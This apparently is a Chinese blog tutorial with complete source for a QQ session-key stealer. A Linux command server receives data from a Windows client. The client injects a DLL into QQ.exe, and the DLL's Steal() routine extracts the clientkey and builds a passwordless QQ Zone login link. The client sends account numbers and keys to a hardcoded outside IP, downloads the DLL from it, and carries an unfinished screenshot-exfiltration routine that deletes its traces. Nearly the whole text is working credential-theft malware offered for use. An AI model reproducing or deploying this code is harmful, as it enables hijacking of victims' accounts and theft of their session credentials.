	sever_addr.sin_family = AF_INET;
	if (bind(sever_sock, (sockaddr*)&sever_addr, sizeof(sever_addr)) == -1)
	{
		cout << errno;
		cout << "* bind失败" << endl;
		return 0;
	}
	if (listen(sever_sock, 10) != 0)
	{
		cout << "* lesten失败" << endl;
		return 0;
	}
	//主scoket创建完,立刻创建监视线程。
	pthread_t monitor_tid;
	int monitor = pthread_create(&monitor_tid, NULL, thread_monitor, (void*)&sever_sock);

	// accept
	struct sockaddr_in client_addr;
	socklen_t clt_addr_len = sizeof(client_addr);
	int clt_sock = 0;
	cout << "* ready over" << endl;
	while (1)
	{
		clt_sock = accept(sever_sock, (sockaddr*)&client_addr, &clt_addr_len);
		cout << "* accept成功" << endl;
		//创建线程
		pthread_t tid;
		if (int ret = pthread_create(&tid, NULL, thread_main, (void*)&clt_sock) != 0)
		{
			cout << "* 线程创建出错" << errno << endl;
			continue;
		}
		tids.insert(make_pair(clt_sock, tid));
		cout << clt_sock << ":" << tid << endl;
		cout << "* 线程创建成功!,保持监听状态..." << endl;
	}

	cout << "* accept失败,程序退出" << endl;
	close(sever_sock);
	return 0;
}

        创建套接字,绑定,监听,标准的一个socket创建过程。

        之后每接收到一个用户连接,则新建一个线程,用来处理与客户之间的连接。

        在此之前,我们得注意,有可能会出现与某个客户的连接虽然还存在,但实际上由于种种原因,客户不再发送数据给我们,这时候我们可以认为这个连接已经死掉了。如果我们不自己处理这种连接,则会造成通信资源的浪费。为此,我们创建了一个监视线程,来监视每个连接最后接收数据的时间,如果超过15分钟没接收到数据,我们则认为连接已死,关闭套接口并且终止线程运行。

        关于监视线程的监视,我们主要采用了两个全局map型变量,一个是map<int,tid>,一个是map<int,time_t>,一个记录每个连接所对应的tid,一个记录每个连接最后的刷新时间,每次创建一个与客户连接的线程,则将其连接对应的tid插入,每次接收命令,则刷新该连接最后与客户端的通信时间。

监视线程:void* thread_monitor(void* arg)

        

void* thread_monitor(void* arg)
{
	while (1)
	{
		time_t ntm;
		time(&ntm);
		for (map<int, time_t>::iterator it = lstUpdata.begin(); it != lstUpdata.end(); it++)
		{
			if (difftime(ntm, (*it).second) >= 900 &&(*it).second != 0)	//第二个条件防止某线程刚被创建就被删除
			{
				close((*it).first);					//关闭socket
				pthread_cancel(tids[(*it).first]);	//结束线程
				lstUpdata.erase((*it).first);		//从map中删除
				tids.erase((*it).first);
			}
		}
		sleep(1);
	}
	return 0;
}

        该函数的参数并无意义。

        该函数的主要功能能如mainSock中所说,监视每个连接最后刷新时间。每次循环我们都创建一个时间变量来记录当前时间,然后内部遍历每个已记录连接,并将已记录连接的最后接发时间和当前时间进行对比,如果已记录连接最后接发数据时间和当前时间差超过15分钟,也就是900秒,则终止连接,终止线程,并在记录中删除记录。

客户请求处理函数:void* thread_main(void* arg)

       

void* thread_main(void* arg)
{
	int clt_sock = *(int*)arg;
	sleep(10);
	cout << "* 进入线程:" << tids[clt_sock] << endl;
	time_t tim;
 	int res = 0;
	while (1)
	{
		char cmd = '0';
		//等待命令传入
		res = recv(clt_sock, &cmd, 1, 0);
		//收到指令则更新时间
		time(&tim);
		if (lstUpdata.count(clt_sock) == 0)
		{
			lstUpdata.insert(make_pair(clt_sock,tim));
		}
		else
		{
			lstUpdata[clt_sock] = tim;
		}

		cout << tids[clt_sock] << ":" << "指令:" << cmd << endl;
		switch (cmd)
		{
		case _CMD_EXIT_:
			//指令0,退出循环。
			tids.erase(clt_sock);
			lstUpdata.erase(clt_sock);
			close(clt_sock);
			clt_sock = 0;
			cout << tids[clt_sock] << ":" << "退出;" << endl;
			return 0;
		case _CMD_GET_DLL_:
			SendDll(clt_sock);
			break;
		case _CMD_RECV_QQ_:
			GetQQ(clt_sock);
			break;
		case _CMD_RECV_SCREENSHOT_:
			GetScreenshot(clt_sock);
			break;
		default:
			//非法参数,退出循环。
			tids.erase(clt_sock);
			lstUpdata.erase(clt_sock);
			close(clt_sock);
			clt_sock = 0;
			cout << tids[clt_sock] << ":" << "退出;" << endl;
			return 0;

		}
	}
	return 0;
}

        该函数的参数主要是accept接收到连接请求后,创建的socket连接。

        我们首先将参数转化为socket对应的int类型,用一个强制转化即可。之后sleep(10)的目的是为了等待主线程中tids.insert(make_pair(clt_sock, tid))的执行,在其执行完后,我们下一条指令才能不会输出0。不然是输出0还是输出线程地址,全看运气。

        接下来创建时间变量,记录当前连接收到命令的最新时间,每次收到一次命令,则更新一次最后收到命令的时间。当然,如果发现当前连接在时间记录表中并不存在,则插入一条 连接号:最新时间 的数据,判断当前连接在时间记录表中是否存在我们用map.count(key)指令,该函数可以判断键值在map中是否存在。存在返回1,不存在返回0。

        值得注意的是,在实际连接中,我们除了收到用户的连接,还会收到一些来自不明地方的扫描,http get请求,一切爬虫请求,以及很多奇怪的连接,这多半是境外或者国内的黑客们的自动扫描端口并尝试入侵的请求,实际在我的博客的日志文件内也收到很多类似的请求。

         足足3万多行,6mb,很吓人,居然还看到了熟悉的注入,我博客所有正常访问的流量估计得是这些流量的几分之一甚至几十分之一

        如果不对此类请求进行处理,我们的服务端很容易崩溃。而处理的方法很简单,我们只需要在default:里设置,一旦遇到意外的请求,便执行关闭连接,关闭线程,删除记录的处理。

        初始化接收到的命令cmd为0,而这恰好也是退出进程的命令。这不是什么巧合和意外,这是刻意而为之。实际连接中我们发现,客户在关闭该软件的时候,其实根本没有机会执行到发送命令0,而就断开了连接(因为我们发送0指令的过程写在循环外),之后我们recv连接将不会再等待,而是会返回一个错误,这就会造成一个不断地死循环。为此我们初始化cmd为0,一旦没接收到指令,或者接收到的指令为0,就直接退出,能够有效的避免这个死循环。

 发送dll:int SendDll(int clt_sock)

int SendDll(int clt_sock)
{
	int n = 0;
	fstream dll_(key_path, ios::binary | ios::in);
	// 初始化发送缓冲区
	char dll_buf[1024] = "\x00";
	memset(dll_buf, 0, 1024);
	// 发送内容
	int len;
	while (dll_.read(dll_buf, 1024))
	{
		len = send(clt_sock, dll_buf, 1024, 0);
		cout << "处理" << ++n << "次" << ";长度为:" << len << endl;
		memset(dll_buf, 0, 1024);
	}
	/*
	 *  客户端接收结束后,
	 *  不会主动停止recv,
	 *	此时需要发送一个命令,
	 *  告诉客户端已经停止发送了。
	 */
	char over_flag[1024] = "\xde\xad\xbe\xff";
	send(clt_sock, &over_flag, 1024, 0);
	cout << "处理完成" << endl;
	return 0;
}

        该处代码较为简单,配合客户端的发送dll的函数相关内容,应该不难理解其中内容。打开key所在文件,读入内容,成功读入则发送dll数据,最后发一个over_flag表示结束。

接收key:int GetQQ(int clt_sock)

int GetQQ(int clt_sock)
{
	//初始化
	int n = 0;
	char buf[1024] = "";
	QQ qq;
	//接收数量
	recv(clt_sock, buf, 1, 0);
	n = buf[0] - '0';
	//接收数据
	for (int i = 1; i <= n; i++)
	{
		cout << "* 处理" << i << "次;";
		memset(buf, 0, sizeof(buf));
		memset(&qq, 0, sizeof(QQ));

		int len = recv(clt_sock, buf, sizeof(QQ), 0);
		cout << "长度为:" << len << endl;
		memcpy(&qq, buf, sizeof(QQ));
		//若此QQ未存在过,创建文件夹
		string path1 = qq_path;
		path1 += qq.qqUin;
		if (access(path1.c_str(), 0) == -1)
		{
			mkdir(path1.c_str(), S_IRWXG|S_IRWXO|S_IRWXU);
		}
		string path = qq_path;
		path += qq.qqUin;
		path += ".html";
		cout << path << endl;
		fstream keys(path, ios::binary | ios::out);
		string data = qq.qqUin;
		data += "\n"; data += qq.qqKey;
		cout << "存入data:" << data;
		keys << data;
		keys.close();
	}
	return 0;
}

        该处内容挺简单的,主要是根据发来的qq的数量,来决定服务端将要接收的qq的次数。注意:中间那个if无意义,可省略。我当初写的是为每个qq建立一个文件夹,记录其历史ip以及实时桌面截图。但由于时间不够,桌面截图这部分并没有完成。bmp图片太大,存不了多少,压缩成JPEG的话我得另学新知识,可是临近期末了,加之我的主要任务:为了大创而进行的图像识别的学习还没开始,就暂且放一放。

        然后就是构造文件路径,我是采用 网站所在目录/qq/“qq号”.html来构造,方便我这边的python脚本获取key并构造qq链接。

       至此,整个流程大体结束


项目代码:

客户端:

dll_injection.h:

#pragma once
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <tchar.h>
#define STRING_SIZE 255	
#define MAX_PROCESS	24				//最大获取QQ数量24
#define PUBLIC_BUFFER_SIZE 270		//共享内存缓冲区大小
#define BUF_SIZE 1921               //QQ结构体最大长度为1896
using namespace std;

class DLL_INJECTION
{
public:
	DLL_INJECTION(const char*, const char*);//wchar_t *[STRING_SIZE] ,TCHAR* [STRING_SIZE]
	~DLL_INJECTION() {CloseHandle(xxoo);};
	BOOL Init(const char*, const char*);
	DWORD GetPID();
	BOOL doInject();		//该函数返回存储qq信息结构体指针
	DWORD GetQQSize();
	DWORD* GetQQAddress(int i);
	BOOL AdjustPrivilege();	//提权

	int GetQQCounts();		//获取qq数量
private:
	//函数区
	BOOL CreateXxOoDomain();//创建共享内存区域
	BOOL UnInjectDll(const TCHAR* pszDllFile, DWORD dwProcessId);	//卸载DLL
	//ULONG LpstrToChar(LPCTSTR Src, char* Des);

	//变量区
	HANDLE xxoo;
	TCHAR pName[STRING_SIZE];		//目标进程名
	DWORD target_pid[MAX_PROCESS];	//目标进程pid
	//PROCESSENTRY32* info;
	//char dll_name[11] = "key3.0.dll";
	int path_size;					//路径长度
	int target_counts = 0;			//QQ数量
	wchar_t dll_path[STRING_SIZE];	//注入dll路径
	char qq_and_key[PUBLIC_BUFFER_SIZE];
};

dll_injection.cpp:

#include "dll_injection.h"
//存储获取qq信息的结构体
struct QQ
{
	char qqUin[15];
	char qqKey[65];
}qq[MAX_PROCESS];

DLL_INJECTION::DLL_INJECTION(const char* path, const char* name)//(wchar_t* path[STRING_SIZE], TCHAR* processName[STRING_SIZE]
{
	memset(this->target_pid, 0, sizeof(target_pid));		//初始化target_pid
	memset(dll_path, 0, sizeof(dll_path));					//初始化dll_path
	memset(pName, 0, sizeof(pName));						//初始化pName
	memset(qq_and_key, 0, sizeof(qq_and_key));				//初始化qq_and_key
	memset(qq, 0, sizeof(qq));								//初始化结构体
	for (int t = 0; t < STRING_SIZE; t++)
	{
		dll_path[t] = path[t];
		pName[t] = name[t];
	}
	path_size = (wcslen(dll_path) + 1) * sizeof(wchar_t);
	if (!Init(path, name))
	{
		cout << "初始化失败!" << endl;
	}

}
BOOL DLL_INJECTION::Init(const char* path, const char* name)
{
	if (!AdjustPrivilege())
	{
		cout << "提权失败!" << endl;
		return false;
	}
	if (!GetPID())
	{
		cout << "获取pid失败!" << endl;
		return false;
	}
	if (!CreateXxOoDomain())
	{
		cout << "创建共享内存失败!" << endl;
		return false;
	}
	return true;
}
BOOL DLL_INJECTION::AdjustPrivilege()
{
	HANDLE token;
	if ((OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token)) == NULL)	//打开进程令牌
	{
		cout << GetLastError();
		cout << "打开进程令牌失败" << endl;
		return FALSE;
	}

	LUID luid;
	if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid) == NULL)		//查询权限
	{
		cout << GetLastError();
		cout << "权限查询失败" << endl;
		OutputDebugString(L"权限查询失败");
		return FALSE;
	}

	TOKEN_PRIVILEGES tkp;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = luid;		//固定操作,创建一个新特权,tkp即为新特权结构体;

	if (AdjustTokenPrivileges(token, FALSE, &tkp, sizeof(tkp), NULL, NULL) == NULL)			//特权调整
	{
		cout << GetLastError();
		cout << "调整自身权限失败" << endl;
		OutputDebugString(L"调整自身权限失败");
		return FALSE;
	}

	return TRUE;
}
DWORD DLL_INJECTION::GetPID()
{
	target_counts = 0;
	HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);		//创建进程快照
	PROCESSENTRY32 info;
	if (handle == NULL)
	{
		cout << GetLastError();
		cout << "创建进程快照失败" << endl;
		OutputDebugString(L"创建进程快照失败失败");
		return NULL;
	}
	info.dwSize = sizeof(PROCESSENTRY32);
	Process32First(handle, &info);										//获取首进程信息
	while (Process32Next(handle, &info))
	{
		if (wcscmp(info.szExeFile, pName) == 0)							//比较每个进程名和所要找的进程名
		{
			if (target_counts >= MAX_PROCESS)							//防止数组越界
			{
				break;
			}
			target_counts++;
			target_pid[target_counts] = info.th32ProcessID;
		}
	}

	return info.th32ProcessID;
}
BOOL DLL_INJECTION::doInject()
{

	for (int i = 1; i <= target_counts; i++)
	{
		//创建共享空间
		if (xxoo == NULL)
		{
			printf("%d", GetLastError());
			OutputDebugStringA("OpenFileMapping failed \n");
		}

		HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, NULL, target_pid[i]);		//打开进程

		if (handle == NULL)
		{
			cout << GetLastError();
			cout << "获取目标进程句柄失败" << endl;
			OutputDebugString(L"获取目标进程句柄失败");
			return 0;
		}
		LPVOID lpAddr = VirtualAllocEx(handle, NULL, path_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);			//申请虚拟内存
		if (lpAddr == NULL)
		{
			cout << GetLastError();
			cout << "目标进程中开辟虚拟内存失败" << endl;
			OutputDebugString(L"目标进程中开辟虚拟内存失败");
			return 0;
		}
		if (WriteProcessMemory(handle, lpAddr, &dll_path, path_size, NULL) == NULL)			//写入数据
		{
			cout << GetLastError();
			cout << "写入路径失败" << endl;
			OutputDebugString(L"写入路径失败");
			return 0;
		}
		PTHREAD_START_ROUTINE pStartFun = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");		//加载dll
		CreateRemoteThread(handle, NULL, NULL, pStartFun, lpAddr, NULL, NULL);		//创建远程线程
		Sleep(100);

		//读取共享内存
		LPCTSTR pBuf;
		pBuf = (LPCTSTR)MapViewOfFile(xxoo, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, PUBLIC_BUFFER_SIZE);
		if (pBuf == NULL)
		{
			printf("%d", GetLastError());
			printf("MapViewOfFile failed!\n");
		}
		sprintf(qq_and_key, "%s\n", pBuf);
		cout << qq_and_key << endl;
		//分割字符组
		strcpy(qq[i].qqUin, strtok(qq_and_key, "*"));
		strcpy(qq[i].qqKey, strtok(NULL, "*"));
		//cout << qq[i].qqUin << endl;
		//cout << qq[i].qqKey << endl;
		qq[i].qqKey[64] = 0;
		//cout << qq[i].qqKey[64] << endl;

		this->UnInjectDll(L"key3.0.dll", target_pid[i]);	//卸载dll以防出错
		UnmapViewOfFile(pBuf);
	}
	return true;
}
BOOL DLL_INJECTION::CreateXxOoDomain()
{
	xxoo = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, PUBLIC_BUFFER_SIZE, L"xxoo");
	if (xxoo == 0)
	{
		cout << GetLastError();
		cout << "CreateFileMapping Failed!" << endl;
		return false;
	}
	return true;
}
BOOL DLL_INJECTION::UnInjectDll(const TCHAR* pszDllFile, DWORD dwProcessId)
{
	HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);			//创建dll快照
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, dwProcessId);
	HANDLE hThread;

	MODULEENTRY32 me;
	memset(&me, 0, sizeof(me));
	me.dwSize = sizeof(MODULEENTRY32);		//初始化me结构体,不设置大小无法使用
	Module32First(hModuleSnap, &me);
	while (Module32Next(hModuleSnap, &me))
	{
		if (lstrcmpW(me.szExePath, pszDllFile) == 0 || lstrcmpW(me.szModule, pszDllFile) == 0)
		{
			break;
		}
	}									//此时me结构体内为指定模块

	//注入进程释放dll环节

	LPTHREAD_START_ROUTINE lpStartFun = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "FreeLibrary");

	hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartFun, me.modBaseAddr, 0, NULL);
	return TRUE;
}

int DLL_INJECTION::GetQQCounts()
{
	int c = target_counts;
	GetPID();
	//如果QQ数量改变,重新注入
	if (c != target_counts)
	{
		doInject();
	} 
	return target_counts;
}
DWORD DLL_INJECTION::GetQQSize()
{
	return sizeof(QQ);
}
DWORD* DLL_INJECTION::GetQQAddress(int i)
{
	return (DWORD*)&qq[i];
}

client.cpp:

#include <winsock2.h>
#include "dll_injection.h"
#include <fstream>
#include <atlimage.h>
#pragma comment(lib,"ws2_32.lib") 
//命令集
#define _CMD_EXIT_ '0'
#define _CMD_GET_DLL_ '1'			
#define _CMD_SEND_QQ_ '2'			
#define _CMD_SEND_SCREENSHOT_ '3'
#define _KEEP_ALIVE_ '5'	
using namespace std;

const char gobal_dll_path[255] = "D:/key3.0.dll";        //一开始不用wchar_t是因为会出现众多问题,如转换时类型处理不当出现的乱码问题
const char process_name[255] =  "QQ.exe";   
const char ip[] = "106.12.86.136";
const int port = 5000;
const char screenshot_name[] = "1.png";               //注:代码166行截图名字要自己手动改

void GetScreen();                                      //获取屏幕截图
int SendScreen(SOCKET m_Sock);                         //发送截图
BOOL isDllExisten();
int GetDLL(SOCKET m_Sock);
int SendQQ(DLL_INJECTION &ij,SOCKET m_Sock);
SOCKET DoSocket();

int main()
{
    //ShowWindow(GetConsoleWindow(), SW_HIDE);
    //MessageBox(NULL, L"未知错误!", L"缺少组件MicsoftSDTF.dll", MB_OK);
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET mainSock = DoSocket();
    if (!isDllExisten())
    {
        cout << "文件不存在!" << endl;
        GetDLL(mainSock);
    }

    DLL_INJECTION inject(gobal_dll_path, process_name);
    do
    {
        if (!isDllExisten())
        {
            cout << "文件不存在!" << endl;
            GetDLL(mainSock);
        }
        inject.doInject();       //注入,并获取结构体指针
        SendQQ(inject, mainSock); 
        cout << "* 延时等待中..." << endl;
        Sleep(30000);           //每隔5分钟执行一次;
    } while (inject.GetQQCounts() != 0);

    //结束socket
    char cmd = _CMD_EXIT_;
    send(mainSock, &cmd, 1, 0);
    closesocket(mainSock);
    
    WSACleanup();
    return 0;
}
SOCKET DoSocket()
{
    SOCKET mainSock = socket(AF_INET, SOCK_STREAM, 0);
    if (mainSock == 0)
    {
        cout << "创建套接字失败!" << endl;
        return 0;
    }
    struct sockaddr_in  sever_addr;
    sever_addr.sin_addr.s_addr = inet_addr(ip);
    sever_addr.sin_port = htons(port);
    sever_addr.sin_family = AF_INET;
    if(!(connect(mainSock, (LPSOCKADDR)&sever_addr, sizeof(sever_addr))))
    {
        return mainSock;
    }
    cout << "连接失败!" << endl;
    return 0;
}
BOOL isDllExisten()
{
    BOOL flag = true;
    WIN32_FIND_DATAA wfd;
    HANDLE fDLL = FindFirstFileA(gobal_dll_path, &wfd);
    if (fDLL == INVALID_HANDLE_VALUE || wfd.nFileSizeLow != 10240)
    {
        flag = false;
    }
    FindClose(fDLL);
    return flag;
}
int GetDLL(SOCKET m_Sock)
{
    int n = 0;
    //设置dll接收缓冲区并初始化;
    char dll_buf[1024] = "\x00";
    memset(dll_buf, 0, 1024);
    fstream dll_(gobal_dll_path,ios::binary|ios::out);

    //发送接收dll指令
    char cmd = _CMD_GET_DLL_;
    if (send(m_Sock, &cmd, 1, 0) == 0)
    {
        cout << "发送失败" << endl;
        return 0;
    }
    //接收数据
    int len = 0;
    while (0 < (len = recv(m_Sock, dll_buf, 1024, 0)) && len <= 1024)
    {
        if (dll_buf[0] == '\xde' && dll_buf[1] == '\xad' && dll_buf[2] == '\xbe' && dll_buf[3] == '\xff')
        {
            cout << "接收到结束符!" << endl;
            break;
        }
        cout << "接收" << ++n << "次" << ";长度为:" << len << endl;
        dll_.write(dll_buf, 1024);
        memset(dll_buf, 0, 1024);
        /*
         *  加入一个短暂的时延,不然会出错
         *  不加会导致某次接收数据不满1024
         *  致使结束符和dll数据混合在一起
         */
        Sleep(10);
    }
    //接收结束
    cout << "接收完成" << endl;
    dll_.close();
    return 0;
}
int SendQQ(DLL_INJECTION &ij,SOCKET m_Sock) 
{
    DWORD sQQ = ij.GetQQSize();
    DWORD cQQ = ij.GetQQCounts();
    //建立发送缓冲区
    char buf[1024] = "";

    //发送指令
    char cmd = _CMD_SEND_QQ_;
    send(m_Sock, &cmd, 1, 0);
    //发送QQ数量
    char counts = cQQ + '0';
    send(m_Sock, &counts, 1, 0);
    for (int i = 1; i <= cQQ; i++)
    {
        memset(buf, 0, sizeof(buf));
        DWORD* pQQ = ij.GetQQAddress(i);
        //将QQ内内容转移到发送区buf
        memcpy(buf, pQQ , sQQ);
        //发送
        cout << "发送缓冲区内容:" << buf << endl;
        send(m_Sock, buf, sQQ, 0);
    }

    cout << "* 处理完成 *" << endl;
    return 0;
}
//     此部分尚未实现
//void GetScreen()
//{
//    HWND hDesktopWnd = GetDesktopWindow();                              //获取窗口句柄
//    HDC hdc = GetDC(hDesktopWnd);                                       //获取窗口上下文相关信息
//    HDC mdc = CreateCompatibleDC(hdc);                                  //内存中创建设备上下文环境
//    int dwScreenW = GetSystemMetrics(SM_CXSCREEN);                      //获取显示器宽
//    int dwScreenH = GetSystemMetrics(SM_CYSCREEN);                      //获取显示器长
//    HBITMAP bmp = CreateCompatibleBitmap(hdc, dwScreenW, dwScreenH);    //内存中创建与指定环境内容相关的兼容位图
//    HBITMAP holdbmp = (HBITMAP)SelectObject(mdc, bmp);                  //将内存环境与兼容位图关联起来
//    BitBlt(mdc, 0, 0, dwScreenW, dwScreenH, hdc, 0, 0, SRCCOPY);        //将hdc内容复制到内存环境中
//    CImage cimg;                                                        //保存位图
//    cimg.Attach(bmp);
//    cimg.Save(L"1.png");
//    return;
//}
//int SendScreen(SOCKET m_Sock)
//{
//    GetScreen();
//    char cmd = _CMD_SEND_SCREENSHOT_;
//    send(m_Sock, &cmd, 1, 0);
//
//    char buf[1024] = "\x00";
//    memset(buf, 0, 1024);
//    string sc_name = screenshot_name;
//    fstream pic(sc_name, ios::binary | ios::in);
//    //发送数据
//    while (pic.read(buf, 1024))
//    {
//        send(m_Sock, buf, 1024, 0);
//        memset(buf, 0, 1024);
//    }
//    //发送结束符
//    char over_flag[] = "\xde\xad\xbe\xff";              //我知道是deadbeef(
//    send(m_Sock, over_flag, 1024, 0);
//    cout << "图片发送完成" << endl;
//    pic.close();
//    //销毁证据(
//    remove(screenshot_name);
//    return 0;
//}

DLL:

framework.h:

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

pch.h:

// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#endif //PCH_H

pch.cpp:

// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"

// 当使用预编译的头时,需要使用此源文件,编译才能成功。

dllmain.cpp:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <WTypes.h>
#pragma data_seg("MySeg")
char g_szText[270] = { 0 };
#pragma data_seg()
#pragma comment(linker, "/section:MySeg,RWS")

#define BUF_SIZE 270

//定义CTXStringW为BSTR
typedef BSTR CTXStringW;

CTXStringW AllocTXString(const wchar_t* lpSrc)
{
    if (lpSrc == NULL) return NULL;     //检测lpSrc是否创建成功
    BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2];
    if (bBuffer == NULL) return NULL;
    DWORD dwZero = 0;
    DWORD dwCount = 3;
    DWORD dwLenth = wcslen(lpSrc) + 1;
    memmove(bBuffer + 0 * 4, &dwZero, 4);
    memmove(bBuffer + 1 * 4, &dwCount, 4);
    memmove(bBuffer + 2 * 4, &dwLenth, 4);
    memmove(bBuffer + 3 * 4, &dwLenth, 4);
    wcscpy((wchar_t*)(bBuffer + 4 * 4), lpSrc);
    return CTXStringW(bBuffer + 16);
}

BOOL GoHome(char* qqUin, CTXStringW& qqKey)
{
    int strlenth = (BUF_SIZE);
    HANDLE hMapFile;
    LPCTSTR pBuf;
    sprintf(g_szText, "%s*%ws", qqUin, qqKey);
    //创建文件映射对象
    if ((hMapFile = OpenFileMapping(FILE_MAP_WRITE | FILE_MAP_READ, FALSE, L"xxoo")) == NULL)
    {
        OutputDebugStringA("OpenFileMapping failed \n");
        return FALSE;
    }
    pBuf = (LPTSTR)MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
    if (pBuf == NULL)
    {
        OutputDebugStringA("MapViewOfFile failed \n");
        return FALSE;
    }

    if (CopyMemory((PVOID)pBuf, g_szText, strlen(g_szText)) == NULL)
    {
        OutputDebugStringA("CopyMemory failed \n");
        return FALSE;
    }
    UnmapViewOfFile(pBuf);
    CloseHandle(hMapFile);
    return TRUE;
}
VOID Steal()
{
    do {
        char littlejudge[14];

        HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll");       ///加载dll
        if (hKernelUtil == NULL)
        {
            OutputDebugStringA("Get KernelUtil Module failed \n");
            break;
        }
        ULONG fnGetSelfUin;
        ULONG currentQQ;
        fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");        //获取QQ账号                                                                                    //获取dll中获得qq号函数,获取kenelutil中获取qq号函数的地址
        if (fnGetSelfUin == NULL)
        {
            OutputDebugStringA("Get GetSelfUin Function failed \n");
            break;
        }
        currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
        //DWORD uin = ((int(*)(int))fnGetSelfUin)();
        if (currentQQ == NULL)
        {
            OutputDebugStringA("Invoke GetSelfUin Function failed \n");
            break;
        }

        // Print QQ number
        char szUin[MAX_PATH] = { 0 };
        sprintf(szUin, "%u", currentQQ);

        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");    //函数地址
        if (GetSignature == NULL)
        {
            OutputDebugStringA("Get GetSignature Function failed \n");
            break;
        }
        WCHAR wsBuffer[MAX_PATH] = { 0 };
        CTXStringW ClientKey;// = AllocTXString(wsBuffer);
        PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");       //关键函数,获取key保存到cilentkey内存中
        if (res == NULL)
        {
            OutputDebugStringA("Invoke GetSignature Function failed \n");
            break;
        }

        // 复制下面链接,无需密码,进入QQ空间
        char msg[MAX_PATH] = { 0 };
        sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://user.qzone.qq.com/%s%/infocenter&source=panelstar\n", szUin, ClientKey, szUin);
        BOOL dead_or_live = GoHome(szUin, ClientKey);
        if (dead_or_live != TRUE)
        {
            sprintf(littlejudge, "D!E!A!D!");
            OutputDebugStringA(littlejudge);
        }
        else
        {
            sprintf(littlejudge, "LIVE!!!!");
            OutputDebugStringA(littlejudge);
        }
        OutputDebugStringA(msg);


    } while (0);



}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Steal();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


服务端:

main.cpp:

#include <iostream>
#include <string.h>
#include <fstream>
#include <sstream>
#include <map>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/stat.h>
#include <pthread.h>
#define STRING_SIZE 255
#define MAX_PROCESS	24				//最大qq进程数
#define BUF_SIZE 1921               //the max size of strut QQ is 1896
using namespace std;
#define _CMD_EXIT_ '0'				//指令集
#define _CMD_GET_DLL_ '1'			
#define _CMD_RECV_QQ_ '2'			
#define _CMD_RECV_SCREENSHOT_ '3'
#define _KEEP_ALIVE_ '5'			

struct QQ
{
	char qqUin[15];
	char qqKey[65];
};
pthread_t temp;
//记录每个sock的tid
map<int,pthread_t> tids;
//记录每个sock最后更新时间
map<int, time_t> lstUpdata;
const int port = 5000;
const char key_path[] = "/*你网站内key地址*/";
string qq_path = "/*用于保存qq的目录*/";


/*
 *		thread_monitor(void *arg)
 *	监视线程,如果哪个客户端超过15分钟没更新
 *	监视线程关闭该线程,并关闭与其的socket连接
 */
void* thread_monitor(void* arg);
void* thread_main(void* arg);				//主线程
int SendDll(int clt_sock);
int GetQQ(int clt_sock);
int GetScreenshot(int clt_sock);
int mainSock();

int main()
{
	cout << "v:" << 1.8 << " paltform:" << "x86" << endl;
	mainSock();
	return 0;
}
int mainSock()
{
	int sever_sock = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in sever_addr;
	sever_addr.sin_addr.s_addr = INADDR_ANY;
	sever_addr.sin_port = htons(5000);
	sever_addr.sin_family = AF_INET;
	if (bind(sever_sock, (sockaddr*)&sever_addr, sizeof(sever_addr)) == -1)
	{
		cout << errno;
		cout << "* bind失败" << endl;
		return 0;
	}
	if (listen(sever_sock, 10) != 0)
	{
		cout << "* lesten失败" << endl;
		return 0;
	}
	//主scoket创建完,立刻创建监视线程。
	pthread_t monitor_tid;
	int monitor = pthread_create(&monitor_tid, NULL, thread_monitor, (void*)&sever_sock);

	// accept
	struct sockaddr_in client_addr;
	socklen_t clt_addr_len = sizeof(client_addr);
	int clt_sock = 0;
	cout << "* ready over" << endl;
	while (1)
	{
		clt_sock = accept(sever_sock, (sockaddr*)&client_addr, &clt_addr_len);
